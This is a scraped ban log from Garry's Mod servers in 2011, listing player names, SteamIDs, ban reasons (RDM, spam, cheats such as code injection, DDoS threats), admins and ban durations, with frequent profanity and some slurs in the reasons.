xX_danrules_Xx STEAM_0:1:42809223 RDM +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:3:0 Unbanned +10:31 am 16-10-11 [PL] Duncun506 STEAM_0:1:29742574 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +4:28 am 16-10-11 gunslinger STEAM_0:1:32587512 learning not to shoot +everyone is a good thing to learn MAD MANN Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 1:0:0 Unbanned +3:05 am 16-10-11 L1nk51 STEAM_0:1:39359782 Please learn how to play +MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 +Unbanned +10:29 pm 15-10-11 -[PUG]-=UAL=ChinChoSS/SnD\ STEAM_0:1:40668129 +micspam, idiot Flapadar Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +10:08 pm 15-10-11 Lemmiwinks STEAM_0:1:18967422 Threatening to ddos +meh booy Nekoace Killa's Zombie Survival Server Zombie Survival +Permanent Banned +9:59 pm 15-10-11 [NK] Fuzzy MCnomnom [S] STEAM_0:0:15009318 +Attempting to prop kill/rdm Nekoace Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:16:40 Unbanned +9:22 pm 15-10-11 Rhys STEAM_0:1:5349362 RDM +[SP]+ Marked One [SK] +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:07 pm 15-10-11 Loligator STEAM_0:0:26768817 ' It ' s not nice to +RDM. ' Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +5:56 pm 15-10-11 miÑ?ro_killer STEAM_0:0:12915645 TK ' ing multiple +traitors +[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:0 Unbanned +11:19 am 15-10-11 The Thespian STEAM_0:1:26509632 Name +impersonation +[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +12:54 am 15-10-11 Dakster STEAM_0:0:4089266 You're a fat asshole ++[SP]+ Grim Jam Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +9:23 pm 14-10-11 Unknown STEAM_0:1:19095943 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +9:22 pm 14-10-11 Unknown STEAM_0:1:19831541 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:36 pm 13-10-11 Unknown STEAM_0:1:37681134 Cheat: CubHack +(Console) Fretta|Tigergruppe Kommand Crate Wars Permanent Banned +7:54 pm 12-10-11 +[SP]+ Saphira STEAM_0:0:16962740 Hah +[SP]+ +Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:10 Unbanned +5:43 pm 12-10-11 ì?¤ë§?ì?¨!!!! ì??!!!!!!!!!!!!!! STEAM_0:0:17900461 +asshat +[SP]+ Grim Jam Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:30 Unbanned +1:15 pm 12-10-11 Unknown STEAM_0:1:15778113 Cheat: CubHack +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 12-10-11 Unknown STEAM_0:1:29226146 Cheat: CubHack +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +12:32 pm 12-10-11 FluX | Kabu Nato STEAM_0:1:41074136 Alt of banned +ID STEAM_0:0:40982945 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:16:36 Unbanned +12:28 pm 12-10-11 FluX |Cirken STEAM_0:0:40982945 rdm Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +12:01 pm 12-10-11 Freeman 123 STEAM_0:0:40072373 tango sucka! +Nekoace Fretta|Tigergruppe Kommand One In The Chamber 0:16:40 Unbanned +6:14 pm 11-10-11 Unknown STEAM_0:0:30440286 False KOS ' ing +[SP]+ +Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +10:14 pm 10-10-11 FluX | Kabu Nato STEAM_0:1:41074136 dont be a +douchebag +[SP]+ Mr Dobilina Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:10 Unbanned +10:13 pm 10-10-11 FluX |Cirken STEAM_0:0:40982945 dont be a +douchebag +[SP]+ Mr Dobilina Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:10 Unbanned +9:12 pm 10-10-11 Gentleman S.T.A.L.K.E.R STEAM_0:1:14152890 RDM +Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +8:51 pm 10-10-11 Ereqqu STEAM_0:1:20313149 Ghosting Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:28 pm 10-10-11 Knome STEAM_0:1:38216645 Alt of banned ID +STEAM_0:1:12151307 (Console) Official Zombified World|Lvl Cap +10 +Zombified World Permanent Banned +7:27 pm 10-10-11 Tupac STEAM_0:0:11376561 GTFO aswell Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:26 pm 10-10-11 Wupack STEAM_0:1:18669949 GTFO Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:17 pm 10-10-11 spartaaaa!!! STEAM_0:1:44959543 your rdmer go play +in the garden now +[SP]+ Ecuilirum Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 0:1:0 Unbanned +4:57 pm 10-10-11 *insert creative name here* STEAM_0:0:27810005 RDM ++[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:0 Unbanned +4:39 pm 10-10-11 fran STEAM_0:1:41954911 RDM Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +2:15 pm 10-10-11 Unknown STEAM_0:0:31776035 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +2:14 pm 10-10-11 Unknown STEAM_0:1:44138147 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +2:14 pm 10-10-11 Unknown STEAM_0:0:19318165 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +2:14 pm 10-10-11 Unknown STEAM_0:0:30714265 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:36 am 10-10-11 Chunky Tofuuuuuuuuuuuuuuu STEAM_0:0:22919872 rdm +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:40 +Unbanned +4:33 am 10-10-11 Kirvin STEAM_0:1:33803502 Rdm Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:9:20 Unbanned +3:53 am 10-10-11 The Traitor STEAM_0:0:24557761 retard Nekoace +Fretta|Tigergruppe Kommand Ultimate Hide And Seek 2.0 0:16:40 Unbanned +2:40 am 10-10-11 Unknown STEAM_0:0:37009678 Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +1:39 am 10-10-11 :NxS: R-Dizzle-My-Nizzle STEAM_0:1:30765769 rdm +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:16:40 Unbanned +1:34 am 10-10-11 Chunky Tofuuuuuuuuuuuuuuu STEAM_0:0:22919872 rdm +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:40 +Unbanned +10:36 pm 09-10-11 Unknown STEAM_0:1:43506894 Mulitple RDM,and being +being a nutsack +[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:10:20 Unbanned +7:56 pm 09-10-11 Gravity Cat STEAM_0:1:23097789 Permafooking banned +Nekoace Official Zombified World|Lvl Cap +10 Zombified World +Permanent Banned +7:02 pm 09-10-11 Unknown STEAM_0:1:27646560 Faction named Loner ++[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:23:40 Unbanned +4:09 pm 09-10-11 Patapon STEAM_0:0:1004969 RDM fage Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +4:00 pm 09-10-11 CokeMonster STEAM_0:0:28689345 RDM Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +3:33 pm 09-10-11 GalaXieZ STEAM_0:1:39446024 holy shit 300 karma +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:16:40 Unbanned +3:12 pm 09-10-11 Generic Enemy STEAM_0:1:31598522 Alt of banned ID +STEAM_0:0:30440286 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:2:52 Unbanned +11:28 am 09-10-11 smietankaPR0 STEAM_0:0:37180160 Faction +exploiting Cutie Official Zombified World|Lvl Cap +10 Zombified +World 1:0:0 Unbanned +3:43 am 09-10-11 XpΩwN` ¤ǺÅ?Ä?ЯÄ?ħỴ¤ STEAM_0:1:28865609 HAVE +FUN IDIOT +[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:10 Unbanned +3:40 am 09-10-11 XpΩwN` ¤ǺÅ?Ä?ЯÄ?ħỴ¤ STEAM_0:1:28865609 RDM. +Again. +[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:1 Unbanned +12:13 am 09-10-11 Wh!t3_T!g3r STEAM_0:0:33409449 was warned about +karma +[SP]+ Mr Dobilina Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:10 Unbanned +11:35 pm 08-10-11 a tator STEAM_0:0:5123570 Learn to play. +[SP]+ +SaCleoCheater Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:10 Unbanned +11:17 pm 08-10-11 Unknown STEAM_0:0:33935502 Constantly RDMing, +Killing fellow teammates as traitor, not responding to admin. +[SP]+ +SaCleoCheater Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +9:43 pm 08-10-11 Unknown STEAM_0:0:27473924 Faction exploiting, +blocking, was warned before +[SP]+ Marked One [SK] Official Zombified +World|Lvl Cap +10 Zombified World 2:0:0 Unbanned +8:01 pm 08-10-11 Enjeru STEAM_0:1:35245900 RDM Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +6:48 pm 08-10-11 Who STEAM_0:1:20093002 rdmer +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +4:54 pm 08-10-11 Unknown STEAM_0:1:19827182 Base Delete +[SP]+ +Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified World +7:15:20 Unbanned +4:53 pm 08-10-11 Unknown STEAM_0:1:34106703 Base Delete +[SP]+ +Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified World +7:15:20 Unbanned +12:36 pm 08-10-11 Billy Mays STEAM_0:1:15743208 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:30 Unbanned +12:01 pm 08-10-11 Unknown STEAM_0:1:32681333 Cheat: Zbot (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:20 am 08-10-11 Xiiter- STEAM_0:0:3391527 RDM, low karma. +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +9:02 am 08-10-11 samwich STEAM_0:1:38539809 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:20 Unbanned +8:32 am 08-10-11 Xiiter- STEAM_0:0:3391527 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:20 Unbanned +12:06 am 08-10-11 kona309 STEAM_0:0:19163806 +[SP]+ SaCleoCheater +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:10 Unbanned +9:57 pm 07-10-11 Hot Monkey Trick STEAM_0:0:30577331 +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +7:51 pm 07-10-11 michaelrg STEAM_0:0:30889131 rdm asshole +[SP]+ +ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:5:0 +Unbanned +7:05 pm 07-10-11 Camper STEAM_0:0:30697563 fuck you asshole +[SP]+ +ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 +Unbanned +4:58 pm 07-10-11 Unknown STEAM_0:1:16431495 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:58 pm 07-10-11 Unknown STEAM_0:0:39187983 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:58 pm 07-10-11 Unknown STEAM_0:0:36794289 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:57 pm 07-10-11 Unknown STEAM_0:1:33708353 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:57 pm 07-10-11 Unknown STEAM_0:1:12406388 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:57 pm 07-10-11 Unknown STEAM_0:0:27068832 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:57 pm 07-10-11 Unknown STEAM_0:1:36928215 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:57 pm 07-10-11 Unknown STEAM_0:0:41802 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:44 pm 07-10-11 YouR NigHTMaRe xXXx STEAM_0:1:33472170 RDM dumbass, +learn2play +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +12:45 pm 07-10-11 Unknown STEAM_0:1:12151307 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:45 pm 07-10-11 Unknown STEAM_0:0:30735853 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:45 pm 07-10-11 Unknown STEAM_0:0:10418914 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:45 pm 07-10-11 Unknown STEAM_0:0:30354552 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:52 pm 06-10-11 [$wag] Swag Child STEAM_0:0:4632301 retard +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:23 pm 06-10-11 A BIG BLACK COCK STEAM_0:0:29687698 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +11:07 pm 06-10-11 Unknown STEAM_0:1:5824699 RDM then leaving +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +10:16 pm 06-10-11 Unknown STEAM_0:1:13581505 RDM and leaving +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +7:37 pm 06-10-11 (_DiViNe_IcIcle_) STEAM_0:1:4677444 Asshole +yourself Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +5:31 pm 06-10-11 LeeroyJenkins STEAM_0:0:25965930 Claiming he will +ddos the server Nekoace Fretta|Tigergruppe Kommand Prop Hunt +Permanent Banned +3:44 pm 06-10-11 AMAZING! STEAM_0:0:11508173 Spamming constantly +Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:00 pm 06-10-11 â?®Mai Haruhi STEAM_0:1:41997634 Bye Norzone +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:8:20 Unbanned +10:52 pm 05-10-11 C1vilized STEAM_0:0:40977463 RDMing Norzone +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:10 Unbanned +10:22 pm 05-10-11 Bmoney STEAM_0:1:6068535 Bye Norzone +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:8:20 Unbanned +7:39 pm 05-10-11 Pickle Delivery! STEAM_0:0:18699999 You ' ll enjoy +my ban then - Extended by flap Cutie Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 14:0:0 Unbanned +10:48 pm 04-10-11 Dareigeo STEAM_0:0:7820748 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:54 pm 04-10-11 Unknown STEAM_0:0:2336176 RDM + Leave. +[SP]+ +ULTRA Fretta|Tigergruppe Kommand Deathrun 0:12:0 Unbanned +9:26 pm 04-10-11 Chuck Norris (The Law) STEAM_0:1:18002201 RDMing at +the start of the round. Norzone Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +8:53 pm 04-10-11 Billy Mays STEAM_0:1:15743208 Low Karma Norzone +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:5 Unbanned +8:47 pm 04-10-11 Baltazar STEAM_0:1:19646623 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +8:14 pm 04-10-11 eradri AMG STEAM_0:1:18343753 Killing traitor +without valid proof Norzone Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +7:14 pm 04-10-11 Billy Mays STEAM_0:1:15743208 don't rdm +[SP]+ +ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:5 +Unbanned +3:18 pm 04-10-11 jura-b STEAM_0:1:39402013 rdm kid +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 Unbanned +5:51 pm 03-10-11 Quacken STEAM_0:0:31776035 RDM and claiming areas +Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +10:00 pm 02-10-11 Rigbe STEAM_0:1:20555849 calm down ass hole +[SP]+ +Mr Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:10 Unbanned +9:32 pm 02-10-11 Unknown STEAM_0:0:38144547 RDMing Norzone +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +8:11 pm 02-10-11 DeathmagnetiC STEAM_0:1:41198266 shut up +[SP]+ +ULTRA Official Zombified World|Lvl Cap +10 Zombified World 0:2:0 +Unbanned +7:24 pm 02-10-11 Hannibal The Cannibal STEAM_0:0:30440286 hardy TARDy +TARD MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +7:15 pm 02-10-11 -[SP]- Suger Daddy STEAM_0:1:24184967 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +4:23 pm 02-10-11 Excl STEAM_0:0:19441588 RDM-fag, rdmed hatake +several times. +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +4:22 pm 02-10-11 NuKe59 STEAM_0:1:42181724 rdm +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:15 Unbanned +3:45 pm 02-10-11 Unknown STEAM_0:0:21704689 'Lol i propkilled the +detective' - propkilling Joo. Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:0:0 Unbanned +3:43 pm 02-10-11 Unknown STEAM_0:0:31632335 When an admin is not +online, i like to troll and spam mic Joo. Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 7:12:0 Unbanned +11:04 am 02-10-11 DreamH4ck3R-.^ STEAM_0:1:24031774 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +3:08 am 02-10-11 Unknown STEAM_0:0:37703583 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 Unbanned +2:39 am 02-10-11 John Galt STEAM_0:1:26885009 shit karma MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +2:34 am 02-10-11 jawz STEAM_0:0:34147570 im so smart... MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:20:40 Unbanned +2:09 am 02-10-11 Whizzler /̵Í?Ì¿/'Ì¿-Ì?-Ì?-Ì?' STEAM_0:1:35074833 +team killer MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +12:59 am 02-10-11 |EUP|n0rp STEAM_0:0:30460084 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 Unbanned +9:30 pm 01-10-11 Hunger moon STEAM_0:0:30785649 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 Unbanned +8:50 pm 01-10-11 Hannibal The Cannibal STEAM_0:0:30440286 spam MAD +MANN Fretta|Tigergruppe Kommand Deathrun 0:1:0 Unbanned +8:45 pm 01-10-11 Verse Impotent STEAM_0:0:5442162 this one HAHAHA +MAD MANN Fretta|Tigergruppe Kommand Deathrun Permanent Banned +8:43 pm 01-10-11 Melancholy Hill STEAM_0:1:41135456 spam MAD MANN +Fretta|Tigergruppe Kommand Deathrun 0:1:0 Unbanned +7:22 pm 01-10-11 Unknown STEAM_0:0:7338420 Idiot kid. +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +7:16 pm 01-10-11 The EVIL Spike STEAM_0:0:28414483 don't lie next +time; you didn't get shot(at least hurt...) first +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:5 Unbanned +6:39 pm 01-10-11 [TWP] Toothpick [R.I.P Maxx] STEAM_0:1:13297198 +dumbass +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +6:03 pm 01-10-11 ByB | Flaming Pyro |â?¢Â§Â§ STEAM_0:0:37572022 idiot +byb kid ignoring admin + rdm + randomly attacking people +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 7:0:0 Unbanned +3:47 pm 01-10-11 Unknown STEAM_0:0:5849424 failed rdmer MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 Unbanned +3:29 pm 01-10-11 Unknown STEAM_0:1:18669949 failed rdmer MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 Unbanned +3:18 pm 01-10-11 LeeroyJenkins STEAM_0:0:25965930 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +12:33 am 01-10-11 flame7746 STEAM_0:1:26881598 RDM admin +[SP]+ Mr +Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +12:21 am 01-10-11 FrictioN STEAM_0:0:7291342 karma +[SP]+ Mr +Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +10:31 pm 30-09-11 PuR3_H3R0_991 STEAM_0:1:26330374 LEARN TO PLAY ++[SP]+ EDDIE !!science!! STONE Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:30 Unbanned +8:56 pm 29-09-11 [Omega] Techno Fuzz STEAM_0:1:1354939 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +8:41 pm 29-09-11 Pbergovic STEAM_0:0:5223571 Traitor killing Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:01 pm 29-09-11 Unknown STEAM_0:1:24983426 Cheat: Hermes +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +5:30 pm 29-09-11 QuackenNagger STEAM_0:0:31776035 Fag Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:9:20 Unbanned +5:22 pm 29-09-11 Ã? Andraeas Su Fei Fläkt och C STEAM_0:1:35164355 +Low karma Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:16:40 Unbanned +5:22 pm 29-09-11 colewill STEAM_0:1:33265347 Low karma Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +11:48 pm 28-09-11 Unknown STEAM_0:1:18503351 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:35 pm 28-09-11 *[SB]* â?±lying Navi-tech STEAM_0:1:39378076 Rdming +faggot Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:03 pm 28-09-11 Mr Sheen STEAM_0:1:21720283 trying to prop kill +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:9:20 +Unbanned +6:01 pm 28-09-11 â?¾Ï?â?½MrMonkeÆ´â?¢ STEAM_0:1:39312723 RDM +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:9:20 +Unbanned +5:55 pm 28-09-11 Nick ( the one and only ) STEAM_0:0:29007231 Rdm +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:9:20 +Unbanned +1:41 pm 28-09-11 Unknown STEAM_0:1:15080628 BUNNED MAD MAN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +10:09 pm 27-09-11 SlushIBeast STEAM_0:1:44644164 Alt of banned ID +STEAM_0:1:41052040 (Console) Killa's Zombie Survival Server Zombie +Survival Permanent Banned +6:39 pm 27-09-11 Jake STEAM_0:0:15009263 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +5:11 pm 27-09-11 Unknown STEAM_0:1:6796526 Injected cheats +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:10 pm 27-09-11 Unknown STEAM_0:1:14736268 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:49 pm 27-09-11 HaCkErKiLlAh STEAM_0:0:33009474 RDM +[SP]+ +Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +4:45 pm 27-09-11 aylapennings STEAM_0:1:41446687 Learn to play ++[SP]+ Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:6:0 Unbanned +6:59 pm 26-09-11 Autophobic STEAM_0:0:4175596 rdm MAD MAN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 Unbanned +4:23 pm 26-09-11 Unknown STEAM_0:1:41052040 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:23 pm 26-09-11 Unknown STEAM_0:0:30652639 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:23 pm 26-09-11 Unknown STEAM_0:0:22534432 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:54 am 26-09-11 â?¢â?«Ã?βÒ?|=à¹?ICE=â?¢â?¢â??) +STEAM_0:0:11001120 rmd Wigbig Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:2:0 Unbanned +10:03 pm 25-09-11 [Jet] Sonicblitz STEAM_0:1:32783315 DONT GRIEF +AND TK +[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Snifer 0:1:0 +Unbanned +6:08 pm 25-09-11 yomicyo STEAM_0:1:26579574 RDM, Mic SPam +[SP]+ +CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +4:08 pm 25-09-11 serious zak <<>> STEAM_0:1:42333272 Permaban +shooting fellow traitors Cutie Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +4:06 pm 25-09-11 ^4(*FPs*)^0no gun no fun^2 STEAM_0:1:20523790 spam +Wigbig Killa's Zombie Survival Server Zombie Survival 2:2:0 Unbanned +4:02 pm 25-09-11 Ziemniak STEAM_0:0:26302355 +[SP]+ Gearyâ?¢ +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +4:01 pm 25-09-11 Dżelek NiÅ?dźa STEAM_0:1:20617376 nice ghost +MAD MAN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +2:54 pm 25-09-11 [T.A.U] Spyro40k STEAM_0:0:17022723 nice revenge +rdm MAD MAN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +4:12 pm 24-09-11 าà¸?à¸?าà¹?à¸?ยà¸?à¸?าà STEAM_0:1:39847971 +Pretending to be Vitadar, mega cunt-troll. Probably an OF player(real +men play vanilla) +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +4:00 pm 24-09-11 [Na] Kim Jung Il STEAM_0:0:8016169 RDM. +[SP]+ +ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:5:0 +Unbanned +4:00 pm 24-09-11 Ù¸eBaã?? STEAM_0:1:27401146 Another fucking idiot +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +3:59 pm 24-09-11 Unknown STEAM_0:1:43867868 Another fucking idiot +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +3:58 pm 24-09-11 Unknown STEAM_0:1:17254099 Another fucking idiot +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +3:57 pm 24-09-11 (AW) {MPhx} ppopjj STEAM_0:0:40344546 Fucking +idiot Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:21:9 Unbanned +3:57 pm 